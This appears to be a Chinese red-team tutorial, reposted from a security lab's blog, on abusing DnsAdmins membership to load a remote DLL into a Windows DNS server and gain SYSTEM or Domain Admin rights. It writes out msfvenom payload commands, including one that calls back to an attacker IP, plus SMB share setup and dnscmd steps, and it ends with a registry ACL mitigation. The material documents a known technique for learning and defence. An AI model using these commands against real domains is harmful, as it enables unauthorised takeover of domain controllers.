前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >域渗透 | 利用DnsAdmins提权到SYSTEM

域渗透 | 利用DnsAdmins提权到SYSTEM

作者头像
Ms08067安全实验室
发布2021-04-23 10:27:28
1.3K0
发布2021-04-23 10:27:28
举报
文章被收录于专栏:Ms08067安全实验室

文章来源|MS08067 公众号读者投稿

本文作者:VastSky(Ms08067实验室读者)

一、前言

在域渗透中,我们获得DNS管理员(DNSAdmin)权限后,可以使用dnscmd.exe命令对域进行配置管理。我们查阅文档发现:ServerLevelPluginDll服务器没有对此操作中指定的DLL路径进行任何验证。接下来的文章中,我们将详细分析该攻击的实现。这个功能将在某些情况下可以在域控制器上以SYSTEM身份运行任意代码,无需成为管理员。这个操作已经得到微软的确认,这不是一个安全漏洞。但这仍是一个非常实用的技巧,可以用作红队的AD特权提升当中。

二、利用条件

Dnscmd:用来管理DNS服务器的命令,可以远程使用。

默认情况下,这些组

代码语言:javascript
复制
DnsAdmins, Domain Admins, Enterprise Admins, Administrators 和 ENTERPRISEDOMAIN CONTROLLERS

是否有这些权限。

默认会安装的系统

代码语言:javascript
复制
Windows Server 2003
Windows Server 2008
Windows Server 2003 R2
Windows Server 2003 with SP1
Windows Server 2008 R2
Windows Server 2012
Windows Server 2016(本文中使用)

三、详细的利用方法

1、查看当前拥有用户的组

代码语言:javascript
复制
C:\Users\ryan\Documents>whoami/groups

通过观察发现ryan用户属于Contractors组,而Contractors是DNSadmin的组。DNSadmin就是Contractors的别名

也可以查看DnsAdmins组内的用户

代码语言:javascript
复制
net group "DomainAdmins" /domain

也可以通过PowerView脚本查看DnsAdmins组内的用户

代码语言:javascript
复制
import-module .\PowerView.ps1
Get-NetGroupMember -GroupName"DNSAdmins"

2、dnscmd.exe和dnscmd.exe.mui

默认系统上上system32目录中是有这两个文件的。如果遇到没有,无法执行可以自行上传。

将谷歌搜索出来dnscmd.exe和dnscmd.exe.mui,下载到目标系统的时候,发现无法执行。需要从本机上拷贝执行。

(1)将dnscmd.exe保存在C:\Windows\System32下

可用下载地址:

代码语言:javascript
复制
https://github.com/3gstudent/test/blob/master/dnscmd.exe

(2)将dnscmd.exe.mui保存在

代码语言:javascript
复制
C:\Windows\System32\en-US

可用下载地址:

代码语言:javascript
复制
https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui

注:dnscmd.exe和dnscmd.exe.mui是在我的测试系统(WindowsServer 2008 R2x64)中获得的

通过搜索服务器的dnscmd.exe和dnscmd.exe.mui

代码语言:javascript
复制
命令:for /r c:\ %i in (dnscmd.*) do @echo %i

需要将dnscmd.exe和dnscmd.exe.mui文件拷贝到当前目录下,并且在同一目录下新建en-US文件夹将dnscmd.exe.mui放置到en-US目录中方可执行

代码语言:javascript
复制
copyc:\Windows\WinSxS\amd64_microsoft-windows-dns-server-dnscmd_31bf3856ad364e35_10.0.14393.3179_none_5cf94ce9a8afe302\dnscmd.exe.\
mkdir en-US
copy c:\Windows\WinSxS\amd64_microsoft-windows-d..er-dnscmd.resources_31bf3856ad364e35_10.0.14393.0_en-us_5f8e3db3d7a85561\dnscmd.exe.mui.\

确保dnscmd.exe可以执行

3、生成攻击dll和验证dll

当目标机器上边有杀毒,无法讲msfvenom生成的dll文件上传的目标机器。于是使用smb的方法,远程包含路径执行\\10.10.14.193\share\addDa.dll

代码语言:javascript
复制
msfvenom -pwindows/x64/exec cmd='net group "Domain Admins" melanie /add /domain'-f dll > ./addDA.dll
msfvenom -pwindows/exec cmd='powershell wget -uri http://10.10.14.193' -f dll >./wget.dll

4、通过imparket启动smb服务器

代码语言:javascript
复制
root@kali:~#smbserver.py share ./

5、执行攻击命令

代码语言:javascript
复制
dnscmd.exeResolute.megabank.local /config /serverlevelplugindll\\10.10.14.193\share\addDa.dll
sc stop dns
sd start dns

对于DNS服务器来说,此时会新建一个注册位置:

代码语言:javascript
复制
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\
ServerLevelPluginDll
REG_SZ
\\10.10.14.193\share\addDa.dll

6、查看被添加用户组

代码语言:javascript
复制
net user melanie/domain

已经成功将melanie用户添加到管理员组

四、注册表事项

代码语言:javascript
复制
KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\

利用dnscmd在DNS服务器上实现远程加载Dll时,会以System权限修改注册表,如果修改注册表

代码语言:javascript
复制
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\的ACL(AccessControl List)

删除System用户的Set Value权限,能够阻止这个方法的利用

五、参考资料

https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、前言
    • 二、利用条件
      • 三、详细的利用方法
        • 四、注册表事项
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档